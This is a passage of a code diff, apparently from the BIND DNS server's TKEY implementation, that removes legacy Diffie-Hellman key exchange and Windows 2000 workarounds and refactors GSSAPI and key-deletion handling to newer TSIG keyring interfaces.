+		while ((set = ISC_LIST_HEAD(name->list)) != NULL) {
 			ISC_LIST_UNLINK(name->list, set, link);
+			if (dns_rdataset_isassociated(set)) {
+				dns_rdataset_disassociate(set);
+			}
 			dns_message_puttemprdataset(msg, &set);
 		}
 		dns_message_puttempname(msg, &name);
 	}
 }
 
-static isc_result_t
-compute_secret(isc_buffer_t *shared, isc_region_t *queryrandomness,
-	       isc_region_t *serverrandomness, isc_buffer_t *secret) {
-	isc_md_t *md;
-	isc_region_t r, r2;
-	unsigned char digests[ISC_MAX_MD_SIZE * 2];
-	unsigned char *digest1, *digest2;
-	unsigned int digestslen, digestlen1 = 0, digestlen2 = 0;
-	unsigned int i;
-	isc_result_t result;
-
-	isc_buffer_usedregion(shared, &r);
-
-	md = isc_md_new();
-	if (md == NULL) {
-		return (ISC_R_NOSPACE);
-	}
-
-	/*
-	 * MD5 ( query data | DH value ).
-	 */
-	digest1 = digests;
-
-	result = isc_md_init(md, ISC_MD_MD5);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_update(md, queryrandomness->base,
-			       queryrandomness->length);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_update(md, r.base, r.length);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_final(md, digest1, &digestlen1);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_reset(md);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	/*
-	 * MD5 ( server data | DH value ).
-	 */
-	digest2 = digests + digestlen1;
-
-	result = isc_md_init(md, ISC_MD_MD5);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_update(md, serverrandomness->base,
-			       serverrandomness->length);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_update(md, r.base, r.length);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	result = isc_md_final(md, digest2, &digestlen2);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
-	}
-
-	isc_md_free(md);
-	md = NULL;
-
-	digestslen = digestlen1 + digestlen2;
-
-	/*
-	 * XOR ( DH value, MD5-1 | MD5-2).
-	 */
-	isc_buffer_availableregion(secret, &r);
-	isc_buffer_usedregion(shared, &r2);
-	if (r.length < digestslen || r.length < r2.length) {
-		return (ISC_R_NOSPACE);
-	}
-	if (r2.length > digestslen) {
-		memmove(r.base, r2.base, r2.length);
-		for (i = 0; i < digestslen; i++) {
-			r.base[i] ^= digests[i];
-		}
-		isc_buffer_add(secret, r2.length);
-	} else {
-		memmove(r.base, digests, digestslen);
-		for (i = 0; i < r2.length; i++) {
-			r.base[i] ^= r2.base[i];
-		}
-		isc_buffer_add(secret, digestslen);
-	}
-	result = ISC_R_SUCCESS;
-end:
-	if (md != NULL) {
-		isc_md_free(md);
-	}
-	return (result);
-}
-
-static isc_result_t
-process_dhtkey(dns_message_t *msg, dns_name_t *signer, dns_name_t *name,
-	       dns_rdata_tkey_t *tkeyin, dns_tkeyctx_t *tctx,
-	       dns_rdata_tkey_t *tkeyout, dns_tsig_keyring_t *ring,
-	       dns_namelist_t *namelist) {
-	isc_result_t result = ISC_R_SUCCESS;
-	dns_name_t *keyname, ourname;
-	dns_rdataset_t *keyset = NULL;
-	dns_rdata_t keyrdata = DNS_RDATA_INIT, ourkeyrdata = DNS_RDATA_INIT;
-	bool found_key = false, found_incompatible = false;
-	dst_key_t *pubkey = NULL;
-	isc_buffer_t ourkeybuf, *shared = NULL;
-	isc_region_t r, r2, ourkeyr;
-	unsigned char keydata[DST_KEY_MAXSIZE];
-	unsigned int sharedsize;
-	isc_buffer_t secret;
-	unsigned char *randomdata = NULL, secretdata[256];
-	dns_ttl_t ttl = 0;
-
-	if (tctx->dhkey == NULL) {
-		tkey_log("process_dhtkey: tkey-dhkey not defined");
-		tkeyout->error = dns_tsigerror_badalg;
-		return (DNS_R_REFUSED);
-	}
-
-	if (!dns_name_equal(&tkeyin->algorithm, DNS_TSIG_HMACMD5_NAME)) {
-		tkey_log("process_dhtkey: algorithms other than "
-			 "hmac-md5 are not supported");
-		tkeyout->error = dns_tsigerror_badalg;
-		return (ISC_R_SUCCESS);
-	}
-
-	/*
-	 * Look for a DH KEY record that will work with ours.
-	 */
-	for (result = dns_message_firstname(msg, DNS_SECTION_ADDITIONAL);
-	     result == ISC_R_SUCCESS && !found_key;
-	     result = dns_message_nextname(msg, DNS_SECTION_ADDITIONAL))
-	{
-		keyname = NULL;
-		dns_message_currentname(msg, DNS_SECTION_ADDITIONAL, &keyname);
-		keyset = NULL;
-		result = dns_message_findtype(keyname, dns_rdatatype_key, 0,
-					      &keyset);
-		if (result != ISC_R_SUCCESS) {
-			continue;
-		}
-
-		for (result = dns_rdataset_first(keyset);
-		     result == ISC_R_SUCCESS && !found_key;
-		     result = dns_rdataset_next(keyset))
-		{
-			dns_rdataset_current(keyset, &keyrdata);
-			pubkey = NULL;
-			result = dns_dnssec_keyfromrdata(keyname, &keyrdata,
-							 msg->mctx, &pubkey);
-			if (result != ISC_R_SUCCESS) {
-				dns_rdata_reset(&keyrdata);
-				continue;
-			}
-			if (dst_key_alg(pubkey) == DNS_KEYALG_DH) {
-				if (dst_key_paramcompare(pubkey, tctx->dhkey)) {
-					found_key = true;
-					ttl = keyset->ttl;
-					break;
-				} else {
-					found_incompatible = true;
-				}
-			}
-			dst_key_free(&pubkey);
-			dns_rdata_reset(&keyrdata);
-		}
-	}
-
-	if (!found_key) {
-		if (found_incompatible) {
-			tkey_log("process_dhtkey: found an incompatible key");
-			tkeyout->error = dns_tsigerror_badkey;
-			return (ISC_R_SUCCESS);
-		} else {
-			tkey_log("process_dhtkey: failed to find a key");
-			return (DNS_R_FORMERR);
-		}
-	}
-
-	RETERR(add_rdata_to_list(msg, keyname, &keyrdata, ttl, namelist));
-
-	isc_buffer_init(&ourkeybuf, keydata, sizeof(keydata));
-	RETERR(dst_key_todns(tctx->dhkey, &ourkeybuf));
-	isc_buffer_usedregion(&ourkeybuf, &ourkeyr);
-	dns_rdata_fromregion(&ourkeyrdata, dns_rdataclass_any,
-			     dns_rdatatype_key, &ourkeyr);
-
-	dns_name_init(&ourname, NULL);
-	dns_name_clone(dst_key_name(tctx->dhkey), &ourname);
-
-	/*
-	 * XXXBEW The TTL should be obtained from the database, if it exists.
-	 */
-	RETERR(add_rdata_to_list(msg, &ourname, &ourkeyrdata, 0, namelist));
-
-	RETERR(dst_key_secretsize(tctx->dhkey, &sharedsize));
-	isc_buffer_allocate(msg->mctx, &shared, sharedsize);
-
-	result = dst_key_computesecret(pubkey, tctx->dhkey, shared);
-	if (result != ISC_R_SUCCESS) {
-		tkey_log("process_dhtkey: failed to compute shared secret: %s",
-			 isc_result_totext(result));
-		goto failure;
-	}
-	dst_key_free(&pubkey);
-
-	isc_buffer_init(&secret, secretdata, sizeof(secretdata));
-
-	randomdata = isc_mem_get(tkeyout->mctx, TKEY_RANDOM_AMOUNT);
-
-	isc_nonce_buf(randomdata, TKEY_RANDOM_AMOUNT);
-
-	r.base = randomdata;
-	r.length = TKEY_RANDOM_AMOUNT;
-	r2.base = tkeyin->key;
-	r2.length = tkeyin->keylen;
-	RETERR(compute_secret(shared, &r2, &r, &secret));
-	isc_buffer_free(&shared);
-
-	RETERR(dns_tsigkey_create(
-		name, &tkeyin->algorithm, isc_buffer_base(&secret),
-		isc_buffer_usedlength(&secret), true, signer, tkeyin->inception,
-		tkeyin->expire, ring->mctx, ring, NULL));
-
-	/* This key is good for a long time */
-	tkeyout->inception = tkeyin->inception;
-	tkeyout->expire = tkeyin->expire;
-
-	tkeyout->key = randomdata;
-	tkeyout->keylen = TKEY_RANDOM_AMOUNT;
-
-	return (ISC_R_SUCCESS);
-
-failure:
-	if (!ISC_LIST_EMPTY(*namelist)) {
-		free_namelist(msg, namelist);
-	}
-	if (shared != NULL) {
-		isc_buffer_free(&shared);
-	}
-	if (pubkey != NULL) {
-		dst_key_free(&pubkey);
-	}
-	if (randomdata != NULL) {
-		isc_mem_put(tkeyout->mctx, randomdata, TKEY_RANDOM_AMOUNT);
-	}
-	return (result);
-}
-
 static isc_result_t
 process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 		dns_tkeyctx_t *tctx, dns_rdata_tkey_t *tkeyout,
-		dns_tsig_keyring_t *ring) {
+		dns_tsigkeyring_t *ring) {
 	isc_result_t result = ISC_R_SUCCESS;
 	dst_key_t *dstkey = NULL;
 	dns_tsigkey_t *tsigkey = NULL;
-	dns_fixedname_t fixed;
-	dns_name_t *principal;
-	isc_stdtime_t now;
+	dns_fixedname_t fprincipal;
+	dns_name_t *principal = dns_fixedname_initname(&fprincipal);
+	isc_stdtime_t now = isc_stdtime_now();
 	isc_region_t intoken;
 	isc_buffer_t *outtoken = NULL;
 	dns_gss_ctx_id_t gss_ctx = NULL;
@@ -523,15 +194,12 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 	if (tctx->gsscred == NULL && tctx->gssapi_keytab == NULL) {
 		tkey_log("process_gsstkey(): no tkey-gssapi-credential "
 			 "or tkey-gssapi-keytab configured");
-		return (ISC_R_NOPERM);
+		return (DNS_R_REFUSED);
 	}
 
-	if (!dns_name_equal(&tkeyin->algorithm, DNS_TSIG_GSSAPI_NAME) &&
-	    !dns_name_equal(&tkeyin->algorithm, DNS_TSIG_GSSAPIMS_NAME))
-	{
+	if (!dns_name_equal(&tkeyin->algorithm, DNS_TSIG_GSSAPI_NAME)) {
 		tkeyout->error = dns_tsigerror_badalg;
-		tkey_log("process_gsstkey(): dns_tsigerror_badalg"); /* XXXSRA
-								      */
+		tkey_log("process_gsstkey(): dns_tsigerror_badalg");
 		return (ISC_R_SUCCESS);
 	}
 
@@ -539,20 +207,15 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 	 * XXXDCL need to check for key expiry per 4.1.1
 	 * XXXDCL need a way to check fully established, perhaps w/key_flags
 	 */
-
-	intoken.base = tkeyin->key;
-	intoken.length = tkeyin->keylen;
-
 	result = dns_tsigkey_find(&tsigkey, name, &tkeyin->algorithm, ring);
 	if (result == ISC_R_SUCCESS) {
 		gss_ctx = dst_key_getgssctx(tsigkey->key);
 	}
 
-	principal = dns_fixedname_initname(&fixed);
-
 	/*
 	 * Note that tctx->gsscred may be NULL if tctx->gssapi_keytab is set
 	 */
+	intoken = (isc_region_t){ tkeyin->key, tkeyin->keylen };
 	result = dst_gssapi_acceptctx(tctx->gsscred, tctx->gssapi_keytab,
 				      &intoken, &outtoken, &gss_ctx, principal,
 				      tctx->mctx);
@@ -561,19 +224,16 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 			dns_tsigkey_detach(&tsigkey);
 		}
 		tkeyout->error = dns_tsigerror_badkey;
-		tkey_log("process_gsstkey(): dns_tsigerror_badkey"); /* XXXSRA
-								      */
+		tkey_log("process_gsstkey(): dns_tsigerror_badkey");
 		return (ISC_R_SUCCESS);
 	}
 	if (result != DNS_R_CONTINUE && result != ISC_R_SUCCESS) {
 		goto failure;
 	}
+
 	/*
 	 * XXXDCL Section 4.1.3: Limit GSS_S_CONTINUE_NEEDED to 10 times.
 	 */
-
-	isc_stdtime_get(&now);
-
 	if (dns_name_countlabels(principal) == 0U) {
 		if (tsigkey != NULL) {
 			dns_tsigkey_detach(&tsigkey);
@@ -598,8 +258,10 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 		}
 #endif /* HAVE_GSSAPI */
 		RETERR(dns_tsigkey_createfromkey(
-			name, &tkeyin->algorithm, dstkey, true, principal, now,
-			expire, ring->mctx, ring, &tsigkey));
+			name, dns__tsig_algfromname(&tkeyin->algorithm), dstkey,
+			true, false, principal, now, expire, ring->mctx,
+			&tsigkey));
+		RETERR(dns_tsigkeyring_add(ring, tsigkey));
 		dst_key_free(&dstkey);
 		tkeyout->inception = now;
 		tkeyout->expire = expire;
@@ -608,7 +270,7 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 		tkeyout->expire = tsigkey->expire;
 	}
 
-	if (outtoken) {
+	if (outtoken != NULL) {
 		tkeyout->key = isc_mem_get(tkeyout->mctx,
 					   isc_buffer_usedlength(outtoken));
 		tkeyout->keylen = isc_buffer_usedlength(outtoken);
@@ -621,10 +283,6 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 		memmove(tkeyout->key, tkeyin->key, tkeyin->keylen);
 	}
 
-	tkeyout->error = dns_rcode_noerror;
-
-	tkey_log("process_gsstkey(): dns_tsigerror_noerror"); /* XXXSRA */
-
 	/*
 	 * We found a TKEY to respond with.  If the request is not TSIG signed,
 	 * we need to make sure the response is signed (see RFC 3645, Section
@@ -643,28 +301,24 @@ process_gsstkey(dns_message_t *msg, dns_name_t *name, dns_rdata_tkey_t *tkeyin,
 	if (tsigkey != NULL) {
 		dns_tsigkey_detach(&tsigkey);
 	}
-
 	if (dstkey != NULL) {
 		dst_key_free(&dstkey);
 	}
-
 	if (outtoken != NULL) {
 		isc_buffer_free(&outtoken);
 	}
 
-	tkey_log("process_gsstkey(): %s", isc_result_totext(result)); /* XXXSRA
-								       */
-
+	tkey_log("process_gsstkey(): %s", isc_result_totext(result));
 	return (result);
 }
 
 static isc_result_t
 process_deletetkey(dns_name_t *signer, dns_name_t *name,
 		   dns_rdata_tkey_t *tkeyin, dns_rdata_tkey_t *tkeyout,
-		   dns_tsig_keyring_t *ring) {
+		   dns_tsigkeyring_t *ring) {
 	isc_result_t result;
 	dns_tsigkey_t *tsigkey = NULL;
-	const dns_name_t *identity;
+	const dns_name_t *identity = NULL;
 
 	result = dns_tsigkey_find(&tsigkey, name, &tkeyin->algorithm, ring);
 	if (result != ISC_R_SUCCESS) {
@@ -687,7 +341,7 @@ process_deletetkey(dns_name_t *signer, dns_name_t *name,
 	 * was not generated with TKEY and is in the config file, it may be
 	 * reloaded later.
 	 */
-	dns_tsigkey_setdeleted(tsigkey);
+	dns_tsigkey_delete(tsigkey);
 
 	/* Release the reference */
 	dns_tsigkey_detach(&tsigkey);
@@ -697,24 +351,24 @@ process_deletetkey(dns_name_t *signer, dns_name_t *name,
 
 isc_result_t
 dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
-		      dns_tsig_keyring_t *ring) {
+		      dns_tsigkeyring_t *ring) {
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_rdata_tkey_t tkeyin, tkeyout;
-	bool freetkeyin = false;
-	dns_name_t *qname, *name, *keyname, *signer, tsigner;
+	dns_name_t *qname = NULL, *name = NULL;
+	dns_name_t *keyname = NULL, *signer = NULL;
+	dns_name_t tsigner = DNS_NAME_INITEMPTY;
 	dns_fixedname_t fkeyname;
-	dns_rdataset_t *tkeyset;
-	dns_rdata_t rdata;
-	dns_namelist_t namelist;
+	dns_rdataset_t *tkeyset = NULL;
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	dns_namelist_t namelist = ISC_LIST_INITIALIZER;
 	char tkeyoutdata[512];
 	isc_buffer_t tkeyoutbuf;
+	dns_tsigkey_t *tsigkey = NULL;
 
 	REQUIRE(msg != NULL);
 	REQUIRE(tctx != NULL);
 	REQUIRE(ring != NULL);
 
-	ISC_LIST_INIT(namelist);
-
 	/*
 	 * Interpret the question section.
 	 */
@@ -723,42 +377,28 @@ dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
 		return (DNS_R_FORMERR);
 	}
 
-	qname = NULL;
 	dns_message_currentname(msg, DNS_SECTION_QUESTION, &qname);
 
 	/*
 	 * Look for a TKEY record that matches the question.
 	 */
-	tkeyset = NULL;
-	name = NULL;
 	result = dns_message_findname(msg, DNS_SECTION_ADDITIONAL, qname,
 				      dns_rdatatype_tkey, 0, &name, &tkeyset);
 	if (result != ISC_R_SUCCESS) {
-		/*
-		 * Try the answer section, since that's where Win2000
-		 * puts it.
-		 */
-		name = NULL;
-		if (dns_message_findname(msg, DNS_SECTION_ANSWER, qname,
-					 dns_rdatatype_tkey, 0, &name,
-					 &tkeyset) != ISC_R_SUCCESS)
-		{
-			result = DNS_R_FORMERR;
-			tkey_log("dns_tkey_processquery: couldn't find a TKEY "
-				 "matching the question");
-			goto failure;
-		}
+		result = DNS_R_FORMERR;
+		tkey_log("dns_tkey_processquery: couldn't find a TKEY "
+			 "matching the question");
+		goto failure;
 	}
+
 	result = dns_rdataset_first(tkeyset);
 	if (result != ISC_R_SUCCESS) {
 		result = DNS_R_FORMERR;
 		goto failure;
 	}
-	dns_rdata_init(&rdata);
-	dns_rdataset_current(tkeyset, &rdata);
 
+	dns_rdataset_current(tkeyset, &rdata);
 	RETERR(dns_rdata_tostruct(&rdata, &tkeyin, NULL));
-	freetkeyin = true;
 
 	if (tkeyin.error != dns_rcode_noerror) {
 		result = DNS_R_FORMERR;
@@ -767,49 +407,48 @@ dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
 
 	/*
 	 * Before we go any farther, verify that the message was signed.
-	 * GSSAPI TKEY doesn't require a signature, the rest do.
+	 * DNS_TKEYMODE_GSSAPI doesn't require a signature, but other
+	 * modes do.
 	 */
-	dns_name_init(&tsigner, NULL);
 	result = dns_message_signer(msg, &tsigner);
-	if (result != ISC_R_SUCCESS) {
-		if (tkeyin.mode == DNS_TKEYMODE_GSSAPI &&
-		    result == ISC_R_NOTFOUND) {
-			signer = NULL;
-		} else {
-			tkey_log("dns_tkey_processquery: query was not "
-				 "properly signed - rejecting");
-			result = DNS_R_FORMERR;
-			goto failure;
-		}
-	} else {
+	if (result == ISC_R_SUCCESS) {
 		signer = &tsigner;
+	} else if (result != ISC_R_NOTFOUND ||
+		   tkeyin.mode != DNS_TKEYMODE_GSSAPI)
+	{
+		tkey_log("dns_tkey_processquery: query was not "
+			 "properly signed - rejecting");
+		result = DNS_R_FORMERR;
+		goto failure;
 	}
 
-	tkeyout.common.rdclass = tkeyin.common.rdclass;
-	tkeyout.common.rdtype = tkeyin.common.rdtype;
-	ISC_LINK_INIT(&tkeyout.common, link);
-	tkeyout.mctx = msg->mctx;
-
-	dns_name_init(&tkeyout.algorithm, NULL);
+	tkeyout = (dns_rdata_tkey_t){
+		.common.rdclass = tkeyin.common.rdclass,
+		.common.rdtype = tkeyin.common.rdtype,
+		.common.link = ISC_LINK_INITIALIZER,
+		.mctx = msg->mctx,
+		.algorithm = DNS_NAME_INITEMPTY,
+		.mode = tkeyin.mode,
+	};
 	dns_name_clone(&tkeyin.algorithm, &tkeyout.algorithm);
 
-	tkeyout.inception = tkeyout.expire = 0;
-	tkeyout.mode = tkeyin.mode;
-	tkeyout.error = 0;
-	tkeyout.keylen = tkeyout.otherlen = 0;
-	tkeyout.key = tkeyout.other = NULL;
-
-	/*
-	 * A delete operation must have a fully specified key name.  If this
-	 * is not a delete, we do the following:
-	 * if (qname != ".")
-	 *	keyname = qname + defaultdomain
-	 * else
-	 *	keyname = <random hex> + defaultdomain
-	 */
-	if (tkeyin.mode != DNS_TKEYMODE_DELETE) {
-		dns_tsigkey_t *tsigkey = NULL;
-
+	switch (tkeyin.mode) {
+	case DNS_TKEYMODE_DELETE:
+		/*
+		 * A delete operation uses the fully specified qname.
+		 */
+		RETERR(process_deletetkey(signer, qname, &tkeyin, &tkeyout,
+					  ring));
+		break;
+	case DNS_TKEYMODE_GSSAPI:
+		/*
+		 * For non-delete operations we do this:
+		 *
+		 * if (qname != ".")
+		 *	keyname = qname + defaultdomain
+		 * else
+		 *	keyname = <random hex> + defaultdomain
+		 */
 		if (tctx->domain == NULL && tkeyin.mode != DNS_TKEYMODE_GSSAPI)
 		{
 			tkey_log("dns_tkey_processquery: tkey-domain not set");
@@ -824,74 +463,33 @@ dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
 			dns_name_copy(qname, keyname);
 			dns_name_getlabelsequence(keyname, 0, n - 1, keyname);
 		} else {
-			static char hexdigits[16] = { '0', '1', '2', '3',
-						      '4', '5', '6', '7',
-						      '8', '9', 'A', 'B',
-						      'C', 'D', 'E', 'F' };
 			unsigned char randomdata[16];
 			char randomtext[32];
 			isc_buffer_t b;
-			unsigned int i, j;
+			isc_region_t r = {
+				.base = randomdata,
+				.length = sizeof(randomdata),
+			};
 
 			isc_nonce_buf(randomdata, sizeof(randomdata));
-
-			for (i = 0, j = 0; i < sizeof(randomdata); i++) {
-				unsigned char val = randomdata[i];
-				randomtext[j++] = hexdigits[val >> 4];
-				randomtext[j++] = hexdigits[val & 0xF];
-			}
 			isc_buffer_init(&b, randomtext, sizeof(randomtext));
-			isc_buffer_add(&b, sizeof(randomtext));
-			result = dns_name_fromtext(keyname, &b, NULL, 0, NULL);
-			if (result != ISC_R_SUCCESS) {
-				goto failure;
-			}
-		}
-
-		if (tkeyin.mode == DNS_TKEYMODE_GSSAPI) {
-			/* Yup.  This is a hack */
-			result = dns_name_concatenate(keyname, dns_rootname,
-						      keyname, NULL);
-			if (result != ISC_R_SUCCESS) {
-				goto failure;
-			}
-		} else {
-			result = dns_name_concatenate(keyname, tctx->domain,
-						      keyname, NULL);
-			if (result != ISC_R_SUCCESS) {
-				goto failure;
-			}
+			RETERR(isc_hex_totext(&r, 2, "", &b));
+			RETERR(dns_name_fromtext(keyname, &b, NULL, 0, NULL));
 		}
+		RETERR(dns_name_concatenate(keyname, dns_rootname, keyname,
+					    NULL));
 
 		result = dns_tsigkey_find(&tsigkey, keyname, NULL, ring);
-
 		if (result == ISC_R_SUCCESS) {
 			tkeyout.error = dns_tsigerror_badname;
 			dns_tsigkey_detach(&tsigkey);
-			goto failure_with_tkey;
-		} else if (result != ISC_R_NOTFOUND) {
-			goto failure;
+			break;
+		} else if (result == ISC_R_NOTFOUND) {
+			RETERR(process_gsstkey(msg, keyname, &tkeyin, tctx,
+					       &tkeyout, ring));
+			break;
 		}
-	} else {
-		keyname = qname;
-	}
-
-	switch (tkeyin.mode) {
-	case DNS_TKEYMODE_DIFFIEHELLMAN:
-		tkeyout.error = dns_rcode_noerror;
-		RETERR(process_dhtkey(msg, signer, keyname, &tkeyin, tctx,
-				      &tkeyout, ring, &namelist));
-		break;
-	case DNS_TKEYMODE_GSSAPI:
-		tkeyout.error = dns_rcode_noerror;
-		RETERR(process_gsstkey(msg, keyname, &tkeyin, tctx, &tkeyout,
-				       ring));
-		break;
-	case DNS_TKEYMODE_DELETE:
-		tkeyout.error = dns_rcode_noerror;
-		RETERR(process_deletetkey(signer, keyname, &tkeyin, &tkeyout,
-					  ring));
-		break;
+		goto failure;
 	case DNS_TKEYMODE_SERVERASSIGNED:
 	case DNS_TKEYMODE_RESOLVERASSIGNED:
 		result = DNS_R_NOTIMP;
@@ -900,57 +498,31 @@ dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
 		tkeyout.error = dns_tsigerror_badmode;
 	}
 
-failure_with_tkey:
-
 	dns_rdata_init(&rdata);
 	isc_buffer_init(&tkeyoutbuf, tkeyoutdata, sizeof(tkeyoutdata));
 	result = dns_rdata_fromstruct(&rdata, tkeyout.common.rdclass,
 				      tkeyout.common.rdtype, &tkeyout,
 				      &tkeyoutbuf);
-
-	if (freetkeyin) {
-		dns_rdata_freestruct(&tkeyin);
-		freetkeyin = false;
-	}
-
 	if (tkeyout.key != NULL) {
 		isc_mem_put(tkeyout.mctx, tkeyout.key, tkeyout.keylen);
 	}
-	if (tkeyout.other != NULL) {
-		isc_mem_put(tkeyout.mctx, tkeyout.other, tkeyout.otherlen);
-	}
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	RETERR(add_rdata_to_list(msg, keyname, &rdata, 0, &namelist));
+	RETERR(result);
 
 	RETERR(dns_message_reply(msg, true));
-
-	name = ISC_LIST_HEAD(namelist);
-	while (name != NULL) {
-		dns_name_t *next = ISC_LIST_NEXT(name, link);
+	add_rdata_to_list(msg, keyname, &rdata, 0, &namelist);
+	while ((name = ISC_LIST_HEAD(namelist)) != NULL) {
 		ISC_LIST_UNLINK(namelist, name, link);
 		dns_message_addname(msg, name, DNS_SECTION_ANSWER);
-		name = next;
 	}
-
 	return (ISC_R_SUCCESS);
 
 failure:
-
-	if (freetkeyin) {
-		dns_rdata_freestruct(&tkeyin);
-	}
-	if (!ISC_LIST_EMPTY(namelist)) {
-		free_namelist(msg, &namelist);
-	}
+	free_namelist(msg, &namelist);
 	return (result);
 }
 
 static isc_result_t
-buildquery(dns_message_t *msg, const dns_name_t *name, dns_rdata_tkey_t *tkey,
-	   bool win2k) {
+buildquery(dns_message_t *msg, const dns_name_t *name, dns_rdata_tkey_t *tkey) {
 	dns_name_t *qname = NULL, *aname = NULL;
 	dns_rdataset_t *question = NULL, *tkeyset = NULL;
 	dns_rdatalist_t *tkeylist = NULL;
@@ -963,28 +535,32 @@ buildquery(dns_message_t *msg, const dns_name_t *name, dns_rdata_tkey_t *tkey,
 	REQUIRE(name != NULL);
 	REQUIRE(tkey != NULL);
 
-	RETERR(dns_message_gettempname(msg, &qname));
-	RETERR(dns_message_gettempname(msg, &aname));
-
-	RETERR(dns_message_gettemprdataset(msg, &question));
-	dns_rdataset_makequestion(question, dns_rdataclass_any,
-				  dns_rdatatype_tkey);
-
 	len = 16 + tkey->algorithm.length + tkey->keylen + tkey->otherlen;
 	isc_buffer_allocate(msg->mctx, &dynbuf, len);
-	RETERR(dns_message_gettemprdata(msg, &rdata));
-
-	RETERR(dns_rdata_fromstruct(rdata, dns_rdataclass_any,
-				    dns_rdatatype_tkey, tkey, dynbuf));
+	dns_message_gettemprdata(msg, &rdata);
+	result = dns_rdata_fromstruct(rdata, dns_rdataclass_any,
+				      dns_rdatatype_tkey, tkey, dynbuf);
+	if (result != ISC_R_SUCCESS) {
+		dns_message_puttemprdata(msg, &rdata);
+		isc_buffer_free(&dynbuf);
+		return (result);
+	}
 	dns_message_takebuffer(msg, &dynbuf);
 
-	RETERR(dns_message_gettemprdatalist(msg, &tkeylist));
+	dns_message_gettempname(msg, &qname);
+	dns_message_gettempname(msg, &aname);
+
+	dns_message_gettemprdataset(msg, &question);
+	dns_rdataset_makequestion(question, dns_rdataclass_any,
+				  dns_rdatatype_tkey);
+
+	dns_message_gettemprdatalist(msg, &tkeylist);
 	tkeylist->rdclass = dns_rdataclass_any;
 	tkeylist->type = dns_rdatatype_tkey;
 	ISC_LIST_APPEND(tkeylist->rdata, rdata, link);
 
-	RETERR(dns_message_gettemprdataset(msg, &tkeyset));
-	RETERR(dns_rdatalist_tordataset(tkeylist, tkeyset));
+	dns_message_gettemprdataset(msg, &tkeyset);
+	dns_rdatalist_tordataset(tkeylist, tkeyset);
 
 	dns_name_copy(name, qname);
 	dns_name_copy(name, aname);
@@ -993,124 +569,22 @@ buildquery(dns_message_t *msg, const dns_name_t *name, dns_rdata_tkey_t *tkey,
 	ISC_LIST_APPEND(aname->list, tkeyset, link);
 
 	dns_message_addname(msg, qname, DNS_SECTION_QUESTION);
-
-	/*
-	 * Windows 2000 needs this in the answer section, not the additional
-	 * section where the RFC specifies.
-	 */
-	if (win2k) {
-		dns_message_addname(msg, aname, DNS_SECTION_ANSWER);
-	} else {
-		dns_message_addname(msg, aname, DNS_SECTION_ADDITIONAL);
-	}
+	dns_message_addname(msg, aname, DNS_SECTION_ADDITIONAL);
 
 	return (ISC_R_SUCCESS);
-
-failure:
-	if (qname != NULL) {
-		dns_message_puttempname(msg, &qname);
-	}
-	if (aname != NULL) {
-		dns_message_puttempname(msg, &aname);
-	}
-	if (question != NULL) {
-		dns_rdataset_disassociate(question);
-		dns_message_puttemprdataset(msg, &question);
-	}
-	if (dynbuf != NULL) {
-		isc_buffer_free(&dynbuf);
-	}
-	return (result);
-}
-
-isc_result_t
-dns_tkey_builddhquery(dns_message_t *msg, dst_key_t *key,
-		      const dns_name_t *name, const dns_name_t *algorithm,
-		      isc_buffer_t *nonce, uint32_t lifetime) {
-	dns_rdata_tkey_t tkey;
-	dns_rdata_t *rdata = NULL;
-	isc_buffer_t *dynbuf = NULL;
-	isc_region_t r;
-	dns_name_t keyname;
-	dns_namelist_t namelist;
-	isc_result_t result;
-	isc_stdtime_t now;
-	dns_name_t *item;
-
-	REQUIRE(msg != NULL);
-	REQUIRE(key != NULL);
-	REQUIRE(dst_key_alg(key) == DNS_KEYALG_DH);
-	REQUIRE(dst_key_isprivate(key));
-	REQUIRE(name != NULL);
-	REQUIRE(algorithm != NULL);
-
-	tkey.common.rdclass = dns_rdataclass_any;
-	tkey.common.rdtype = dns_rdatatype_tkey;
-	ISC_LINK_INIT(&tkey.common, link);
-	tkey.mctx = msg->mctx;
-	dns_name_init(&tkey.algorithm, NULL);
-	dns_name_clone(algorithm, &tkey.algorithm);
-	isc_stdtime_get(&now);
-	tkey.inception = now;
-	tkey.expire = now + lifetime;
-	tkey.mode = DNS_TKEYMODE_DIFFIEHELLMAN;
-	if (nonce != NULL) {
-		isc_buffer_usedregion(nonce, &r);
-	} else {
-		r.base = NULL;
-		r.length = 0;
-	}
-	tkey.error = 0;
-	tkey.key = r.base;
-	tkey.keylen = r.length;
-	tkey.other = NULL;
-	tkey.otherlen = 0;
-
-	RETERR(buildquery(msg, name, &tkey, false));
-
-	RETERR(dns_message_gettemprdata(msg, &rdata));
-	isc_buffer_allocate(msg->mctx, &dynbuf, 1024);
-	RETERR(dst_key_todns(key, dynbuf));
-	isc_buffer_usedregion(dynbuf, &r);
